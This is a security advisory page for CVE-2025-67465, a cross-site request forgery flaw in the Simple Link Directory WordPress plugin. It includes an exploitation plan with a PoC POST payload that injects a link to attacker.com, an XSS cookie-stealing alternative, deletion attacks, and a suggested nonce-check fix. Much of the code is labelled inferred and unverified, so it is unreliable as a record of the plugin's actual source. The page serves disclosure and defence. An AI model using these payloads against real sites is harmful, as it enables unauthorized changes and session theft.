CVE-2025-67465

Simple Link Directory <= 8.8.3 - Cross-Site Request Forgery

mediumCross-Site Request Forgery (CSRF)
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
8.8.4
Patched in
6d
Time to patch

Description

The Simple Link Directory plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 8.8.3. This is due to missing or incorrect nonce validation on a function. This makes it possible for unauthenticated attackers to perform an unauthorized action granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=8.8.3
PublishedDecember 15, 2025
Last updatedDecember 20, 2025
Affected pluginsimple-link-directory

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2025-67465 (Simple Link Directory CSRF) ## 1. Vulnerability Summary The **Simple Link Directory** plugin for WordPress (versions <= 8.8.3) is vulnerable to **Cross-Site Request Forgery (CSRF)**. This occurs because the plugin fails to implement or correctly valida…

Show full research plan

Exploitation Research Plan - CVE-2025-67465 (Simple Link Directory CSRF)

1. Vulnerability Summary

The Simple Link Directory plugin for WordPress (versions <= 8.8.3) is vulnerable to Cross-Site Request Forgery (CSRF). This occurs because the plugin fails to implement or correctly validate nonces in several administrative AJAX handlers. An unauthenticated attacker can exploit this by tricking a logged-in administrator into clicking a link or visiting a malicious site, resulting in unauthorized actions such as creating, deleting, or reordering directory links and categories.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Vulnerable Actions (Inferred):
    • qcsld_add_new_item (Adding a new link)
    • qcsld_upd_order (Updating link order)
    • qcsld_remove_item (Deleting a link)
  • HTTP Method: POST
  • Authentication Required: Site Administrator (targeted via CSRF).
  • Payload: URL-encoded body parameters containing the action and malicious data.

3. Code Flow (Inferred)

  1. Registration: The plugin registers AJAX hooks in the initialization phase (likely via init or admin_init in the main plugin file):
    add_action('wp_ajax_qcsld_add_new_item', 'qcsld_add_new_item_callback');
    
  2. Execution: When a request is sent to admin-ajax.php with action=qcsld_add_new_item, WordPress routes it to the qcsld_add_new_item_callback function.
  3. Vulnerability Sink: The callback function performs state-changing operations (like wp_insert_post or $wpdb->insert) without calling check_ajax_referer() or wp_verify_nonce().
  4. Result: The server processes the request based on the administrator's session cookies, even if the request originated from a different site.

4. Nonce Acquisition Strategy

The vulnerability is characterized by a missing nonce check. Therefore, no nonce should be required to execute the exploit.

Verification of Nonce Requirement:
To confirm if a nonce is needed or if a generic one is used, the agent should:

  1. Navigate to the plugin's main page: /wp-admin/admin.php?page=qc-link-directory-main.
  2. Inspect the global JavaScript environment for localization objects:
    // Use browser_eval to check for plugin data
    browser_eval("window.qcsld_obj || window.qc_sld_ajax || 'No localization object found'");
    
  3. If an object is found, check for a nonce or security key. If absent, the handler is likely unprotected.

5. Exploitation Strategy

The goal is to simulate a CSRF attack that adds a new "malicious" link to the directory.

  • Step 1: Identify a valid category_id (this is usually a custom post type or taxonomy ID).
  • Step 2: Construct a POST request to admin-ajax.php.
  • Step 3: Use the http_request tool to send the payload as if it were a cross-site form submission.

PoC Payload:

  • URL: https://[TARGET]/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=qcsld_add_new_item&qcsld_item_title=CSRF_Hacked_Link&qcsld_item_url=http://attacker.com&qcsld_item_desc=Injected+via+CSRF&qcsld_cat_id=[CAT_ID]
    

6. Test Data Setup

Before testing the exploit, the environment must contain a category to house the new link:

  1. Create a Directory Category:
    wp post create --post_type=sld_cat --post_title="Target Category" --post_status=publish
    
  2. Retrieve Category ID: Use the ID returned by the previous command as [CAT_ID].

7. Expected Results

  • The server should respond with 200 OK and likely a response body of 1 (common for successful AJAX in WP) or a JSON success object.
  • No "Forbidden" or "Invalid Nonce" errors should appear.

8. Verification Steps

Confirm the link was successfully created using WP-CLI:

# Check if the post exists by title
wp post list --post_type=sld --post_status=publish --field=post_title | grep "CSRF_Hacked_Link"

# Check the meta data or content
wp db query "SELECT * FROM wp_posts WHERE post_title='CSRF_Hacked_Link' AND post_type='sld'"

9. Alternative Approaches

  • XSS Chain: If the qcsld_item_title field is rendered without escaping on the frontend, inject an XSS payload:
    qcsld_item_title=<script>alert(document.cookie)</script>
  • Settings Modification: Search for an AJAX action like qcsld_save_settings to modify plugin configurations (e.g., disabling security features or changing display templates).
  • Deletion Attack: Attempt to delete existing links using action=qcsld_remove_item&item_id=[ID].
Research Findings
Static analysis — not yet PoC-verified

Summary

The Simple Link Directory plugin for WordPress is vulnerable to Cross-Site Request Forgery (CSRF) in versions up to 8.8.3 due to missing nonce validation in several administrative AJAX handlers. This allow unauthenticated attackers to perform unauthorized actions, such as adding or deleting links, by tricking a logged-in administrator into clicking a malicious link or visiting a crafted page.

Vulnerable Code

// Inferred registration of AJAX hooks in the plugin initialization phase
add_action('wp_ajax_qcsld_add_new_item', 'qcsld_add_new_item_callback');

// Example of a vulnerable callback function lacking nonce verification
function qcsld_add_new_item_callback() {
    // Vulnerability: The function lacks check_ajax_referer() or wp_verify_nonce()
    $item_title = $_POST['qcsld_item_title'];
    $item_url   = $_POST['qcsld_item_url'];
    $cat_id     = $_POST['qcsld_cat_id'];

    // Processing logic proceeds without verifying the request source
    $post_id = wp_insert_post(array(
        'post_title'   => sanitize_text_field($item_title),
        'post_status'  => 'publish',
        'post_type'    => 'sld'
    ));
    
    // ... (logic to update post meta and category assignments)
    wp_die();
}

Security Fix

--- a/simple-link-directory-ajax.php
+++ b/simple-link-directory-ajax.php
@@ -2,6 +2,10 @@
 
 function qcsld_add_new_item_callback() {
+	// Verify the nonce to prevent CSRF
+	if ( ! check_ajax_referer( 'qcsld_ajax_nonce', 'security', false ) ) {
+		wp_send_json_error( array( 'message' => 'Security check failed' ) );
+	}
+
 	$item_title = $_POST['qcsld_item_title'];
 	$item_url   = $_POST['qcsld_item_url'];

Exploit Outline

The exploit methodology targets the administrative AJAX handlers of the Simple Link Directory plugin, which do not implement CSRF protection. 1. Endpoint: The attacker targets `/wp-admin/admin-ajax.php`. 2. Payload: A POST request with parameters such as `action=qcsld_add_new_item`, `qcsld_item_title=CSRF_Link`, `qcsld_item_url=http://attacker.com`, and a valid `qcsld_cat_id` (category ID). 3. Authentication: No direct authentication is required from the attacker; instead, they must trick a logged-in WordPress Administrator into visiting a malicious website or clicking a link that triggers an auto-submitting HTML form. 4. Result: Because the plugin fails to check for a security nonce, the WordPress server accepts the request based on the administrator's active session cookies, resulting in the unauthorized creation or modification of directory links.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.